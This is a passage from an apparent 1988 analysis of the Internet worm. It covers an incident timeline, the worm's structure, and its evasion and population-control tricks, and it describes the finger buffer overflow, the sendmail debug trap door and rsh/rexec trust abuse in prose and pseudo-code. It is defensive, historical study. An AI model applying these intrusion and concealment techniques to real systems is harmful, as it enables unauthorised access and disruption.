at _ c_ s._ u_ t_ a_ h._ e_ d_ u. + +11/2: 2121 The load average on _ c_ s._ u_ t_ a_ h._ e_ d_ u reaches 5. The + ``load average'' is a system-generated value that + represents the average number of jobs in the run + queue over the last minute; a load of 5 on a VAX + 8600 noticeably degrades response times, while a + load over 20 is a drastic degradation. At 9 PM, + the load is typically between 0.5 and 2. + +11/2: 2141 The load average on _ c_ s._ u_ t_ a_ h._ e_ d_ u reaches 7. + +11/2: 2201 The load average on _ c_ s._ u_ t_ a_ h._ e_ d_ u reaches 16. + +11/2: 2206 The maximum number of distinct runnable processes + (100) is reached on _ c_ s._ u_ t_ a_ h._ e_ d_ u; the system is + + + + + + + + + + +Tour of the Worm 4 + + + unusable. + +11/2: 2220 Jeff Forys at Utah kills off worms on _ c_ s._ u_ t_ a_ h._ e_ d_ u. + Utah Sun clusters are infected. + +11/2: 2241 Re-infestation causes the load average to reach 27 + on _ c_ s._ u_ t_ a_ h._ e_ d_ u. + +11/2: 2249 Forys shuts down _ c_ s._ u_ t_ a_ h._ e_ d_ u. + +11/3: 2321 Re-infestation causes the load average to reach 37 + on _ c_ s._ u_ t_ a_ h._ e_ d_ u, despite continuous efforts by Forys + to kill worms. + +11/2: 2328 Peter Yee at NASA Ames Research Center posts a + warning to the TCP-IP mailing list: ``We are + currently under attack from an Internet VIRUS. It + has hit UC Berkeley, UC San Diego, Lawrence Liver- + more, Stanford, and NASA Ames.'' He suggests turn- + ing off _ t_ e_ l_ n_ e_ t, _ f_ t_ p, _ f_ i_ n_ g_ e_ r, _ r_ s_ h and SMTP services. + He does not mention _ r_ e_ x_ e_ c. Yee is actually at + Berkeley working with Keith Bostic, Mike Karels and + Phil Lapsley. + +11/3: 0034 At another's prompting, Andy Sudduth of Harvard + anonymously posts a warning to the TCP-IP list: + ``There may be a virus loose on the internet.'' + This is the first message that (briefly) describes + how the _ f_ i_ n_ g_ e_ r attack works, describes how to + defeat the SMTP attack by rebuilding _ s_ e_ n_ d_ m_ a_ i_ l, and + explicitly mentions the _ r_ e_ x_ e_ c attack. Unfor- + tunately Sudduth's message is blocked at + _ r_ e_ l_ a_ y._ c_ s._ n_ e_ t while that gateway is shut down to + combat the worm, and it does not get delivered for + almost two days. Sudduth acknowledges authorship + of the message in a subsequent message to TCP-IP on + Nov. 5. + +11/3: 0254 Keith Bostic sends a fix for _ s_ e_ n_ d_ m_ a_ i_ l to the news- + group comp.bugs.4bsd.ucb-fixes and to the TCP-IP + mailing list. These fixes (and later ones) are + also mailed directly to important system adminis- + trators around the country. + +11/3: early morning + The _ w_ t_ m_ p session log is mysteriously removed on + _ p_ r_ e_ p._ a_ i._ m_ i_ t._ e_ d_ u. + +11/3: 0507 Edward Wang at Berkeley figures out and reports the + _ f_ i_ n_ g_ e_ r attack, but his message doesn't come to Mike + Karels' attention for 12 hours. + + 9 + + 9 + + + + + + + +Tour of the Worm 5 + + +11/3: 0900 The annual Berkeley Unix Workshop commences at UC + Berkeley. 40 or so important system administrators + and hackers are in town to attend, while disaster + erupts at home. Several people who had planned to + fly in on Thursday morning are trapped by the + crisis. Keith Bostic spends much of the day on the + phone at the Computer Systems Research Group + offices answering calls from panicked system + administrators from around the country. + +11/3: 1500 (approx.) + The team at MIT Athena calls Berkeley with an exam- + ple of how the _ f_ i_ n_ g_ e_ r server bug works. + +11/3: 1626 Dave Pare arrives at Berkeley CSRG offices; + disassembly and decompiling start shortly afterward + using Pare's special tools. + +11/3: 1800 (approx.) + The Berkeley group sends out for calzones. People + arrive and leave; the offices are crowded, there's + plenty of excitement. Parallel work is in progress + at MIT Athena; the two groups swap code. + +11/3: 1918 Keith Bostic posts a fix for the _ f_ i_ n_ g_ e_ r server. + +11/4: 0600 Members of the Berkeley team, with the worm almost + completely disassembled and largely decompiled, + finally take off for a couple hours' sleep before + returning to the workshop. + +11/4: 1236 Theodore Ts'o of Project Athena at MIT publicly + announces that MIT and Berkeley have completely + disassembled the worm. + +11/4: 1700 (approx.) + A short presentation on the worm is made at the end + of the Berkeley UNIX Workshop. + +11/8: National Computer Security Center meeting to dis- + cuss the worm. There are about 50 attendees. + +11/11: 0038 Fully decompiled and commented worm source is + installed at Berkeley. + +_ 3. _ O_ v_ e_ r_ v_ i_ e_ w + + What exactly did the worm do that led it to cause an epi- +demic? The worm consists of a 99-line bootstrap program written +in the C language, plus a large relocatable object file that +comes in VAX and Sun-3 flavors. Internal evidence showed that +the object file was generated from C sources, so it was natural +to decompile the binary machine language into C; we now have over + + + + + + + + + + +Tour of the Worm 6 + + +3200 lines of commented C code which recompiles and is mostly +complete. We shall start the tour of the worm with a quick over- +view of the basic goals of the worm, followed by discussion in +depth of the worm's various behaviors as revealed by decompila- +tion. + + The activities of the worm break down into the categories of +attack and defense. Attack consists of locating hosts (and +accounts) to penetrate, then exploiting security holes on remote +systems to pass across a copy of the worm and run it. The worm +obtains host addresses by examining the system tables +/_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v and /._ r_ h_ o_ s_ t_ s, user files like ._ f_ o_ r_ w_ a_ r_ d and +._ r_ h_ o_ s_ t_ s, dynamic routing information produced by the _ n_ e_ t_ s_ t_ a_ t pro- +gram, and finally randomly generated host addresses on local net- +works. It ranks these by order of preference, trying a file like +/_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v first because it contains names of local +machines that are likely to permit unauthenticated connections. +Penetration of a remote system can be accomplished in any of +three ways. The worm can take advantage of a bug in the _ f_ i_ n_ g_ e_ r +server that allows it to download code in place of a finger +request and trick the server into executing it. The worm can use +a ``trap door'' in the _ s_ e_ n_ d_ m_ a_ i_ l SMTP mail service, exercising a +bug in the debugging code that allows it to execute a command +interpreter and download code across a mail connection. If the +worm can penetrate a local account by guessing its password, it +can use the _ r_ e_ x_ e_ c and _ r_ s_ h remote command interpreter services to +attack hosts that share that account. In each case the worm +arranges to get a remote command interpreter which it can use to +copy over, compile and execute the 99-line bootstrap. The +bootstrap sets up its own network connection with the local worm +and copies over the other files it needs, and using these pieces +a remote worm is built and the infection procedure starts over +again. + + Defense tactics fall into three categories: preventing the +detection of intrusion, inhibiting the analysis of the program, +and authenticating other worms. The worm's simplest means of +hiding itself is to change its name. When it starts up, it +clears its argument list and sets its zeroth argument to _ s_ h, +allowing it to masquerade as an innocuous command interpreter. +It uses _ f_ o_ r_ k() to change its process I.D., never staying too long +at one I.D. These two tactics are intended to disguise the +worm's presence on system status listings. The worm tries to +leave as little trash lying around as it can, so at start-up it +reads all its support files into memory and deletes the tell-tale +filesystem copies. It turns off the generation of _ c_ o_ r_ e files, so +if the worm makes a mistake, it doesn't leave evidence behind in +the form of core dumps. The latter tactic is also designed to +block analysis of the program--it prevents an administrator from +sending a software signal to the worm to force it to dump a core +file. There are other ways to get a core file, however, so the +worm carefully alters character data in memory to prevent it from +being extracted easily. Copies of disk files are encoded by + + + + + + + + + + +Tour of the Worm 7 + + +repeatedly exclusive-or'ing a ten-byte code sequence; static +strings are encoded byte-by-byte by exclusive-or'ing with the +hexadecimal value 81, except for a private word list which is +encoded with hexadecimal 80 instead. If the worm's files are +somehow captured before the worm can delete them, the object +files have been loaded in such a way as to remove most non- +essential symbol table entries, making it harder to guess at the +purposes of worm routines from their names. The worm also makes +a trivial effort to stop other programs from taking advantage of +its communications; in theory a well-prepared site could prevent +infection by sending messages to ports that the worm was listen- +ing on, so the worm is careful to test connections using a short +exchange of random ``magic numbers''. + + When studying a tricky program like this, it's just as +important to establish what the program _ d_ o_ e_ s _ n_ o_ t do as what it +does do. The worm _ d_ o_ e_ s _ n_ o_ t _ d_ e_ l_ e_ t_ e _ a _ s_ y_ s_ t_ e_ m'_ s _ f_ i_ l_ e_ s: it only +removes files that it created in the process of bootstrapping. +The program does not attempt to incapacitate a system by deleting +important files, or indeed any files. It does not remove log +files or otherwise interfere with normal operation other than by +consuming system resources. The worm _ d_ o_ e_ s _ n_ o_ t _ m_ o_ d_ i_ f_ y _ e_ x_ i_ s_ t_ i_ n_ g +_ f_ i_ l_ e_ s: it is not a virus. The worm propagates by copying itself +and compiling itself on each system; it does not modify other +programs to do its work for it. Due to its method of infection, +it can't count on sufficient privileges to be able to modify pro- +grams. The worm _ d_ o_ e_ s _ n_ o_ t _ i_ n_ s_ t_ a_ l_ l _ t_ r_ o_ j_ a_ n _ h_ o_ r_ s_ e_ s: its method of +attack is strictly active, it never waits for a user to trip over +a trap. Part of the reason for this is that the worm can't +afford to waste time waiting for trojan horses--it must reproduce +before it is discovered. Finally, the worm _ d_ o_ e_ s _ n_ o_ t _ r_ e_ c_ o_ r_ d _ o_ r +_ t_ r_ a_ n_ s_ m_ i_ t _ d_ e_ c_ r_ y_ p_ t_ e_ d _ p_ a_ s_ s_ w_ o_ r_ d_ s: except for its own static list of +favorite passwords, the worm does not propagate cracked passwords +on to new worms nor does it transmit them back to some home base. +This is not to say that the accounts that the worm penetrated are +secure merely because the worm did not tell anyone what their +passwords were, of course--if the worm can guess an account's +password, certainly others can too. The worm _ d_ o_ e_ s _ n_ o_ t _ t_ r_ y _ t_ o +_ c_ a_ p_ t_ u_ r_ e _ s_ u_ p_ e_ r_ u_ s_ e_ r _ p_ r_ i_ v_ i_ l_ e_ g_ e_ s: while it does try to break into +accounts, it doesn't depend on having particular privileges to +propagate, and never makes special use of such privileges if it +somehow gets them. The worm _ d_ o_ e_ s _ n_ o_ t _ p_ r_ o_ p_ a_ g_ a_ t_ e _ o_ v_ e_ r _ u_ u_ c_ p or X.25 +or DECNET or BITNET: it specifically requires TCP/IP. The worm +_ d_ o_ e_ s _ n_ o_ t _ i_ n_ f_ e_ c_ t _ S_ y_ s_ t_ e_ m _ V _ s_ y_ s_ t_ e_ m_ s unless they have been modified +to use Berkeley network programs like _ s_ e_ n_ d_ m_ a_ i_ l, _ f_ i_ n_ g_ e_ r_ d and +_ r_ e_ x_ e_ c. + +_ 4. _ I_ n_ t_ e_ r_ n_ a_ l_ s + + Now for some details: we shall follow the main thread of +control in the worm, then examine some of the worm's data struc- +tures before working through each phase of activity. + 9 + + 9 + + + + + + + +Tour of the Worm 8 + + +_ 4._ 1. _ T_ h_ e _ t_ h_ r_ e_ a_ d _ o_ f _ c_ o_ n_ t_ r_ o_ l + + When the worm starts executing in _ m_ a_ i_ n(), it takes care of +some initializations, some defense and some cleanup. The very +first thing it does is to change its name to _ s_ h. This shrinks +the window during which the worm is visible in a system status +listing as a process with an odd name like _ x_ 9_ 8_ 3_ 4_ 7_ 5_ 3. It then +initializes the random number generator, seeding it with the +current time, turns off core dumps, and arranges to die when +remote connections fail. With this out of the way, the worm +processes its argument list. It first looks for an option -_ p $$, +where $$ represents the process I.D. of its parent process; this +option indicates to the worm that it must take care to clean up +after itself. It proceeds to read in each of the files it was +given as arguments; if cleaning up, it removes each file after it +reads it. If the worm wasn't given the bootstrap source file +_ l_ 1._ c as an argument, it exits silently; this is perhaps intended +to slow down people who are experimenting with the worm. If +cleaning up, the worm then closes its file descriptors, tem- +porarily cutting itself off from its remote parent worm, and +removes some files. (One of these files, /_ t_ m_ p/._ d_ u_ m_ b, is never +created by the worm and the unlinking seems to be left over from +an earlier stage of development.) The worm then zeroes out its +argument list, again to foil the system status program _ p_ s. The +next step is to initialize the worm's list of network interfaces; +these interfaces are used to find local networks and to check for +alternate addresses of the current host. Finally, if cleaning up +the worm resets its process group and kills the process that +helped to bootstrap it. The worm's last act in _ m_ a_ i_ n() is to call +a function we named _ d_ o_ i_ t(), which contains the main loop of the +worm. + + _ d_ o_ i_ t() runs a short prologue before actually starting the +main loop. It (redundantly) seeds the random number generator +with the current time, saving the time so that it can tell how +long it has been running. The worm then attempts its first +infection. It initially attacks gateways that it found with the +_ n_ e_ t_ s_ t_ a_ t network status program; if it can't infect one of these +hosts, then it checks random host numbers on local networks, then +it tries random host numbers on networks that are on the far side +of gateways, in each case stopping if it succeeds. (Note that +this sequence of attacks differs from the sequence the worm uses +after it has entered the main loop.) + + After this initial attempt at infection, the worm calls the +routine _ c_ h_ e_ c_ k_ o_ t_ h_ e_ r() to check for another worm already on the +local machine. In this check the worm acts as a client to an +existing worm which acts as a server; they may exchange ``popula- +tion control'' messages, after which one of the two worms will +eventually shut down. + + One odd routine is called just before entering the main +loop. We named this routine _ s_ e_ n_ d__ m_ e_ s_ s_ a_ g_ e(), but it really + + + + + + + + + + +Tour of the Worm 9 + + + +_________________________________________________________________ + + 9 doit() { + _ s_ e_ e_ d _ t_ h_ e _ r_ a_ n_ d_ o_ m _ n_ u_ m_ b_ e_ r _ g_ e_ n_ e_ r_ a_ t_ o_ r _ w_ i_ t_ h _ t_ h_ e _ t_ i_ m_ e + _ a_ t_ t_ a_ c_ k _ h_ o_ s_ t_ s: _ g_ a_ t_ e_ w_ a_ y_ s, _ l_ o_ c_ a_ l _ n_ e_ t_ s, _ r_ e_ m_ o_ t_ e _ n_ e_ t_ s + checkother(); + send_message(); + for (;;) { + cracksome(); + other_sleep(30); + cracksome(); + _ c_ h_ a_ n_ g_ e _ o_ u_ r _ p_ r_ o_ c_ e_ s_ s _ I_ D + _ a_ t_ t_ a_ c_ k _ h_ o_ s_ t_ s: _ g_ a_ t_ e_ w_ a_ y_ s, _ k_ n_ o_ w_ n _ h_ o_ s_ t_ s, + _ r_ e_ m_ o_ t_ e _ n_ e_ t_ s, _ l_ o_ c_ a_ l _ n_ e_ t_ s + other_sleep(120); + _ i_ f _ 1_ 2 _ h_ o_ u_ r_ s _ h_ a_ v_ e _ p_ a_ s_ s_ e_ d, + _ r_ e_ s_ e_ t _ h_ o_ s_ t_ s _ t_ a_ b_ l_ e + if (pleasequit && nextw > 10) + exit(0); + } + } + + ``_ C'' _ p_ s_ e_ u_ d_ o-_ c_ o_ d_ e _ f_ o_ r _ t_ h_ e _ d_ o_ i_ t() _ f_ u_ n_ c_ t_ i_ o_ n + +_________________________________________________________________ + + +doesn't send anything at all. It looks like it was intended to +cause 1 in 15 copies of the worm to send a 1-byte datagram to a +port on the host _ e_ r_ n_ i_ e._ b_ e_ r_ k_ e_ l_ e_ y._ e_ d_ u, which is located in the Com- +puter Science Department at UC Berkeley. It has been suggested +that this was a feint, designed to draw attention to _ e_ r_ n_ i_ e and +away from the author's real host. Since the routine has a bug +(it sets up a TCP socket but tries to send a UDP packet), nothing +gets sent at all. It's possible that this was a deeper feint, +designed to be uncovered only by decompilers; if so, this +wouldn't be the only deliberate impediment that the author put in +our way. In any case, administrators at Berkeley never detected +any process listening at port 11357 on ernie, and we found no +code in the worm that listens at that port, regardless of the +host. + + The main loop begins with a call to a function named _ c_ r_ a_ c_ k_ - +_ s_ o_ m_ e() for some password cracking. Password cracking is an +activity that the worm is constantly working at in an incremental +fashion. It takes a break for 30 seconds to look for intruding +copies of the worm on the local host, and then goes back to +cracking. After this session, it forks (creates a new process +running with a copy of the same image) and the old process exits; +this serves to turn over process I.D. numbers and makes it harder +to track the worm with the system status program _ p_ s. At this + + + 9 + + + + + + + +Tour of the Worm 10 + + +point the worm goes back to its infectious stage, trying (in +order of preference) gateways, hosts listed in system tables like +/_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v, random host numbers on the far side of gateways +and random hosts on local networks. As before, if it succeeds in +infecting a new host, it marks that host in a list and leaves the +infection phase for the time being. After infection, the worm +spends two minutes looking for new local copies of the worm +again; this is done here because a newly infected remote host may +try to reinfect the local host. If 12 hours have passed and the +worm is still alive, it assumes that it has had bad luck due to +networks or hosts being down, and it reinitializes its table of +hosts so that it can start over from scratch. At the end of the +main loop the worm checks to see if it is scheduled to die as a +result of its population control features, and if it is, and if +it has done a sufficient amount of work cracking passwords, it +exits. + +_ 4._ 2. _ D_ a_ t_ a _ s_ t_ r_ u_ c_ t_ u_ r_ e_ s + + The worm maintains at least four interesting data struc- +tures, and each is associated with a set of support routines. + + The _ o_ b_ j_ e_ c_ t structure is used to hold copies of files. Files +are encrypted using the function _ x_ o_ r_ b_ u_ f() while in memory, so +that dumps of the worm won't reveal anything interesting. The +files are copied to disk on a remote system before starting a new +worm, and new worms read the files into memory and delete the +disk copies as part of their start-up duties. Each structure +contains a name, a length and a pointer to a buffer. The func- +tion _ g_ e_ t_ o_ b_ j_ e_ c_ t_ b_ y_ n_ a_ m_ e() retrieves a pointer to a named object +structure; for some reason, it is only used to call up the +bootstrap source file. + + The _ i_ n_ t_ e_ r_ f_ a_ c_ e structure contains information about the +current host's network interfaces. This is mainly used to check +for local attached networks. It contains a name, a network +address, a subnet mask and some flags. The interface table is +initialized once at start-up time. + + The _ h_ o_ s_ t structure is used to keep track of the status and +addresses of hosts. Hosts are added to this list dynamically, as +the worm encounters new sources of host names and addresses. The +list can be searched for a particular address or name, with an +option to insert a new entry if no matching entry is found. Flag +bits are used to indicate whether the host is a gateway, whether +it was found in a system table like /_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v, whether the +worm has found it impossible to attack the host for some reason, +and whether the host has already been successfully infected. The +bits for ``can't infect'' and ``infected'' are cleared every 12 +hours, and low priority hosts are deleted, to be accumulated +again later. The structure contains up to 12 names (aliases) and +up to 6 distinct network addresses for each host. + 9 + + 9 + + + + + + + +Tour of the Worm 11 + + + In our sources, what we've called the _ m_ u_ c_ k structure is used +to keep track of accounts for the purpose of password cracking. +(It was awarded the name _ m_ u_ c_ k for sentimental reasons, although +_ p_ w or _ a_ c_ c_ t might be more mnemonic.) Each structure contains an +account name, an encrypted password, a decrypted password (if +available) plus the home directory and personal information +fields from the password file. + +_ 4._ 3. _ P_ o_ p_ u_ l_ a_ t_ i_ o_ n _ g_ r_ o_ w_ t_ h + + The worm contains a mechanism that seems to be designed to +limit the number of copies of the worm running on a given system, +but beyond that our current understanding of the design goals is +itself limited. It clearly does not prevent a system from being +overloaded, although it does appear to pace the infection so that +early copies can go undetected. It has been suggested that a +simulation of the worm's population control features might reveal +more about its design, and we are interested writing such a simu- +lation. + + The worm uses a client-and-server technique to control the +number of copies executing on the current machine. A routine +_ c_ h_ e_ c_ k_ o_ t_ h_ e_ r() is run at start-up time. This function tries to +connect to a server listening at TCP port 23357. The connection +attempt returns immediately if no server is present, but blocks +if one is available and busy; a server worm periodically runs its +server code during time-consuming operations so that the queue of +connections does not grow large. After the client exchanges +magic numbers with the server as a trivial form of authentica- +tion, the client and the server roll dice to see who gets to sur- +vive. If the exclusive-or of the respective low bits of the +client's and the server's random numbers is 1, the server wins, +otherwise the client wins. The loser sets a flag _ p_ l_ e_ a_ s_ e_ q_ u_ i_ t that +eventually allows it to exit at the bottom of the main loop. If +at any time a problem occurs--a read from the server fails, or +the wrong magic number is returned--the client worm returns from +the function, becoming a worm that never acts as a server and +hence does not engage in population control. Perhaps as a pre- +caution against a cataleptic server, a test at the top of the +function causes 1 in 7 worms to skip population control. Thus +the worm finishes the population game in _ c_ h_ e_ c_ k_ o_ t_ h_ e_ r() in one of +three states: scheduled to die after some time, with _ p_ l_ e_ a_ s_ e_ q_ u_ i_ t +set; running as a server, with the possibility of losing the game +later; and immortal, safe from the gamble of population control. + + A complementary routine _ o_ t_ h_ e_ r__ s_ l_ e_ e_ p() executes the server +function. It is passed a time in seconds, and it uses the Berke- +ley _ s_ e_ l_ e_ c_ t() system call to wait for that amount of time accept- +ing connections from clients. On entry to the function, it tests +to see whether it has a communications port with which to accept +connections; if not, it simply sleeps for the specified amount of +time and returns. Otherwise it loops on _ s_ e_ l_ e_ c_ t(), decrementing +its time remaining after serving a client until no more time is + + + + + + + + + + +Tour of the Worm 12 + + +left and the function returns. When the server acquires a +client, it performs the inverse of the client's protocol, eventu- +ally deciding whether to proceed or to quit. _ o_ t_ h_ e_ r__ s_ l_ e_ e_ p() is +called from many different places in the code, so that clients +are not kept waiting too long. + + Given the worm's elaborate scheme for controlling re- +infection, what led it to reproduce so quickly on an individual +machine that it could swamp it? One culprit is the 1 in 7 test +in _ c_ h_ e_ c_ k_ o_ t_ h_ e_ r(): worms that skip the client phase become immor- +tal, and thus don't risk being eliminated by a roll of the dice. +Another source of system loading is the problem that when a worm +decides it has lost, it can still do a lot of work before it +actually exits. The client routine isn't even run until the +newly born worm has attempted to infect at least one remote host, +and even if a worm loses the roll, it continues executing to the +bottom of the main loop, and even then it won't exit unless it +has gone through the main loop several times, limited by its pro- +gress in cracking passwords. Finally, new worms lose all of the +history of infection that their parents had, so the children of a +worm are constantly trying to re-infect the parent's host, as +well as the other children's hosts. Put all of these factors +together and it comes as no surprise that within an hour or two +after infection, a machine may be entirely devoted to executing +worms. + +_ 4._ 4. _ L_ o_ c_ a_ t_ i_ n_ g _ n_ e_ w _ h_ o_ s_ t_ s _ t_ o _ i_ n_ f_ e_ c_ t + + One of the characteristics of the worm is that all of its +attacks are active, never passive. A consequence of this is that +the worm can't wait for a user to take it over to another machine +like gum on a shoe--it must search out hosts on its own. + + The worm has a very distinct list of priorities when hunting +for hosts. Its favorite hosts are gateways; the _ h_ g() routine +tries to infect each of the hosts it believes to be gateways. +Only when all of the gateways are known to be infected or +infection-proof does the worm go on to other hosts. _ h_ g() calls +the _ r_ t__ i_ n_ i_ t() function to get a list of gateways; this list is +derived by running the _ n_ e_ t_ s_ t_ a_ t network status program and parsing +its output. The worm is careful to skip the loopback device and +any local interfaces (in the event that the current host is a +gateway); when it finishes, it randomizes the order of the list +and adds the first 20 gateways to the host table to speed up the +initial searches. It then tries each gateway in sequence until +it finds a host that can be infected, or it runs out of hosts. + + After taking care of gateways, the worm's next priority is +hosts whose names were found in a scan of system files. At the +start of password cracking, the files /_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v (which +contains names of hosts to which the local host grants user per- +missions without authentication) and /._ r_ h_ o_ s_ t_ s (which contains +names of hosts from which the local host permits remote + + + + + + + + + + +Tour of the Worm 13 + + +privileged logins) are examined, as are all users' ._ f_ o_ r_ w_ a_ r_ d files +(which list hosts to which mail is forwarded from the current +host). These hosts are flagged so that they can be scanned ear- +lier than the rest. The _ h_ i() function is then responsible for +attacking these hosts. + + When the most profitable hosts have been used up, the worm +starts looking for hosts that aren't recorded in files. The rou- +tine _ h_ l() checks local networks: it runs through the local host's +addresses, masking off the host part and substituting a random +value. _ h_ a() does the same job for remote hosts, checking alter- +nate addresses of gateways. Special code handles the ARPAnet +practice of putting the IMP number in the low host bits and the +actual IMP port (representing the host) in the high host bits. +The function that runs these random probes, which we named +_ h_ a_ c_ k__ n_ e_ t_ o_ f(), seems to have a bug that prevents it from attacking +hosts on local networks; this may be due to our own misunder- +standing, of course, but in any case the check of hosts from sys- +tem files should be sufficient to cover all or nearly all of the +local hosts anyway. + + Password cracking is another generator of host names, but +since this is handled separately from the usual host attack +scheme presented here, it will be discussed below with the other +material on passwords. + +_ 4._ 5. _ S_ e_ c_ u_ r_ i_ t_ y _ h_ o_ l_ e_ s + + The first fact to face is that Unix was not developed + with security, in any realistic sense, in mind... + [Dennis Ritchie, ``On the Security of Unix''] + + + This section discusses the TCP services used by the worm to +penetrate systems. It's a touch unfair to use the quote above +when the implementation of the services we're about to discuss +was distributed by Berkeley rather than Bell Labs, but the senti- +ment is appropriate. For a long time the balance between secu- +rity and convenience on Unix systems has been tilted in favor of +convenience. As Brian Reid has said about the break-in at Stan- +ford two years ago: ``Programmer convenience is the antithesis of +security, because it is going to become intruder convenience if +the programmer's account is ever compromised.'' The lesson from +that experience seems to have been forgotten by most people, but +not by the author of the worm. + +_ 4._ 5._ 1. _ R_ s_ h _ a_ n_ d _ r_ e_ x_ e_ c + + These notes describe how the design of TCP/IP and the + 4.2BSD implementation allow users on untrusted and possi- + bly very distant hosts to masquerade as users on trusted + hosts. [Robert T. Morris, ``A Weakness in the 4.2BSD + Unix TCP/IP Software''] + + + + + + + + + + +Tour of the Worm 14 + + + _ R_ s_ h and _ r_ e_ x_ e_ c are network services which offer remote com- +mand interpreters. _ R_ e_ x_ e_ c uses password authentication; _ r_ s_ h +relies on a ``privileged'' originating port and permissions +files. Two vulnerabilities are exploited by the worm--the likel- +ihood that a remote machine that has an account for a local user +will have the same password as the local account, allowing pene- +tration through _ r_ e_ x_ e_ c, and the likelihood that such a remote +account will include the local host in its _ r_ s_ h permissions files. +Both of these vulnerabilities are really problems with laxness or +convenience for users and system administrators rather than +actual bugs, but they represent avenues for infection just like +inadvertent security bugs. + + The first use of _ r_ s_ h by the worm is fairly simple: it looks +for a remote account with the same name as the one that is +(unsuspectingly) running the worm on the local machine. This +test is part of the standard menu of hacks conducted for each +host; if it fails, the worm falls back upon _ f_ i_ n_ g_ e_ r, then _ s_ e_ n_ d_ - +_ m_ a_ i_ l. Many sites, including Utah, already were protected from +this trivial attack by not providing remote shells for pseudo- +users like _ d_ a_ e_ m_ o_ n or _ n_ o_ b_ o_ d_ y. + + A more sophisticated use of these services is found in the +password cracking routines. After a password is successfully +guessed, the worm immediately tries to penetrate remote hosts +associated with the broken account. It reads the user's ._ f_ o_ r_ w_ a_ r_ d +file (which contains an address to which mail is forwarded) and +._ r_ h_ o_ s_ t_ s file (which contains a list of hosts and optionally user +names on those hosts which are granted permission to access the +local machine with _ r_ s_ h bypassing the usual password authentica- +tion), trying these hostnames until it succeeds. Each target +host is attacked in two ways. The worm first contacts the remote +host's _ r_ e_ x_ e_ c server and sends it the account name found in the +._ f_ o_ r_ w_ a_ r_ d or ._ r_ h_ o_ s_ t_ s files followed by the guessed password. If +this fails, the worm connects to the local _ r_ e_ x_ e_ c server with the +local account name and uses that to contact the target's _ r_ s_ h +server. The remote _ r_ s_ h server will permit the connection pro- +vided the name of the local host appears in either the +/_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v file or the user's private ._ r_ h_ o_ s_ t_ s file. + + Strengthening these network services is far more problematic +than fixing _ f_ i_ n_ g_ e_ r and _ s_ e_ n_ d_ m_ a_ i_ l, unfortunately. Users don't like +the inconvenience of typing their password when logging in on a +trusted local host, and they don't want to remember different +passwords for each of the many hosts they may have to deal with. +Some of the solutions may be worse than the disease--for example, +a user who is forced to deal with many passwords is more likely +to write them down somewhere. + +_ 4._ 5._ 2. _ F_ i_ n_ g_ e_ r + + _ g_ e_ t_ s was removed from our [C library] a couple days ago. + [Bill Cheswick at AT&T Bell Labs Research, private com- + + + + + + + + + + +Tour of the Worm 15 + + + munication, 11/9/88] + + + Probably the neatest hack in the worm is its co-opting of +the TCP _ f_ i_ n_ g_ e_ r service to gain entry to a system. _ F_ i_ n_ g_ e_ r reports +information about a user on a host, usually including things like +the user's full name, where their office is, the number of their +phone extension and so on. The Berkeley[3] version of the _ f_ i_ n_ g_ e_ r +server is a really trivial program: it reads a request from the +originating host, then runs the local _ f_ i_ n_ g_ e_ r program with the +request as an argument and ships the output back. Unfortunately +the _ f_ i_ n_ g_ e_ r server reads the remote request with _ g_ e_ t_ s(), a stan- +dard C library routine that dates from the dawn of time and which +does not check for overflow of the server's 512 byte request +buffer on the stack. The worm supplies the finger server with a +request that is 536 bytes long; the bulk of the request is some +VAX machine code that asks the system to execute the command +interpreter _ s_ h, and the extra 24 bytes represent just enough data +to write over the server's stack frame for the main routine. +When the main routine of the server exits, the calling function's +program counter is supposed to be restored from the stack, but +the worm wrote over this program counter with one that points to +the VAX code in the request buffer. The program jumps to the +worm's code and runs the command interpreter, which the worm uses +to enter its bootstrap. + + Not surprisingly, shortly after the worm was reported to use +this feature of _ g_ e_ t_ s(), a number of people replaced all instances +of _ g_ e_ t_ s() in system code with sensible code that checks the +length of the buffer. Some even went so far as to remove _ g_ e_ t_ s() +from the library, although the function is apparently mandated by +the forthcoming ANSI C standard[4]. So far no one has claimed to +have exercised the finger server bug before the worm incident, +but in May 1988, students at UC Santa Cruz apparently penetrated +security using a different finger server with a similar bug. The +system administrator at UCSC noticed that the Berkeley finger +server had a similar bug and sent mail to Berkeley, but the seri- +ousness of the problem was not appreciated at the time (Jim +Haynes, private communication). + + One final note: the worm is meticulous in some areas but not +in others. From what we can tell, there was no Sun-3 version of +the _ f_ i_ n_ g_ e_ r intrusion even though the Sun-3 server was just as +vulnerable as the VAX one. Perhaps the author had VAX sources +____________________ + 9 [3] Actually, like much of the code in the Berkeley distribu- +tion, the _ f_ i_ n_ g_ e_ r server was contributed from elsewhere; in this +case, it appears that MIT was the source. + [4] See for example Appendix B, section 1.4 of the second edi- +tion of _ T_ h_ e _ C _ P_ r_ o_ g_ r_ a_ m_ m_ i_ n_ g _ L_ a_ n_ g_ u_ a_ g_ e by Kernighan and Ritchie. + + + + + 9 + + + + + + + +Tour of the Worm 16 + + +available but not Sun sources? + +_ 4._ 5._ 3. _ S_ e_ n_ d_ m_ a_ i_ l + + [T]he trap door resulted from two distinct `features' + that, although innocent by themselves, were deadly when + combined (kind of like binary nerve gas). [Eric Allman, + personal communication, 11/22/88] + + + The _ s_ e_ n_ d_ m_ a_ i_ l attack is perhaps the least preferred in the +worm's arsenal, but in spite of that one site at Utah was sub- +jected to nearly 150 _ s_ e_ n_ d_ m_ a_ i_ l attacks on Black Thursday. _ S_ e_ n_ d_ - +_ m_ a_ i_ l is the program that provides the SMTP mail service on TCP +networks for Berkeley UNIX systems. It uses a simple character- +oriented protocol to accept mail from remote sites. One feature +of _ s_ e_ n_ d_ m_ a_ i_ l is that it permits mail to be delivered to processes +instead of mailbox files; this can be used with (say) the _ v_ a_ c_ a_ - +_ t_ i_ o_ n program to notify senders that you are out of town and are +temporarily unable to respond to their mail. Normally this +feature is only available to recipients. Unfortunately a little +loophole was accidentally created when a couple of earlier secu- +rity bugs were being fixed--if _ s_ e_ n_ d_ m_ a_ i_ l is compiled with the +_ D_ E_ B_ U_ G flag, and the sender at runtime asks that _ s_ e_ n_ d_ m_ a_ i_ l enter +debug mode by sending the _ d_ e_ b_ u_ g command, it permits senders 